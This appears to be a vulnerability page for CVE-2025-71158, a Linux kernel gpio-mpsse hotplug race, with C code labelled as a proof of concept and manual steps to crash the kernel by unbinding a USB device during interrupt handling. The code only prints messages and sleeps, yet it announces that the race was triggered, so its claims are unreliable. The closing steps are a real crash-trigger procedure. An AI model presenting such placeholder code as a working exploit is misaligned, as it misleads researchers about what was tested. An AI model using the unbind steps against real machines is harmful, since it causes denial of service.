CVE-2025-71158: Linux内核gpio-mpsse驱动热拔插导致崩溃漏洞

/* * CVE-2025-71158 PoC - gpio-mpsse hotplug crash trigger * This PoC demonstrates the race condition in MPSSE driver * Compile: gcc -o mpsse_poc mpsse_poc.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> void* irq_worker_trigger(void* arg) { /* Simulate IRQ worker running */ printf("[*] IRQ worker thread started\n"); sleep(2); printf("[*] IRQ worker thread completed\n"); return NULL; } void* device_unplug_trigger(void* arg) { /* Simulate hot-unplug scenario */ sleep(1); printf("[*] Simulating device unplug during IRQ processing...\n"); /* In real scenario: echo 1-1.3 > /sys/bus/usb/drivers/usb/unbind */ return NULL; } int main() { pthread_t worker_thread, unplug_thread; printf("[*] CVE-2025-71158 PoC - gpio-mpsse hotplug crash\n"); printf("[*] This demonstrates the race condition when device is\n"); printf("[*] unplugged while IRQ worker is still running\n\n"); /* Start IRQ worker */ pthread_create(&worker_thread, NULL, irq_worker_trigger, NULL); /* Start unplug trigger concurrently */ pthread_create(&unplug_thread, NULL, device_unplug_trigger, NULL); pthread_join(worker_thread, NULL); pthread_join(unplug_thread, NULL); printf("[*] Race condition triggered - potential crash\n"); return 0; } /* * Real-world trigger steps: * 1. Load gpio-mpsse driver: modprobe gpio-mpsse * 2. Connect FTDI FT232H device * 3. Configure GPIO pins as interrupt inputs * 4. Generate GPIO interrupts * 5. During interrupt handling: echo 1-1.3 > /sys/bus/usb/drivers/usb/unbind * 6. Observe kernel crash or oops */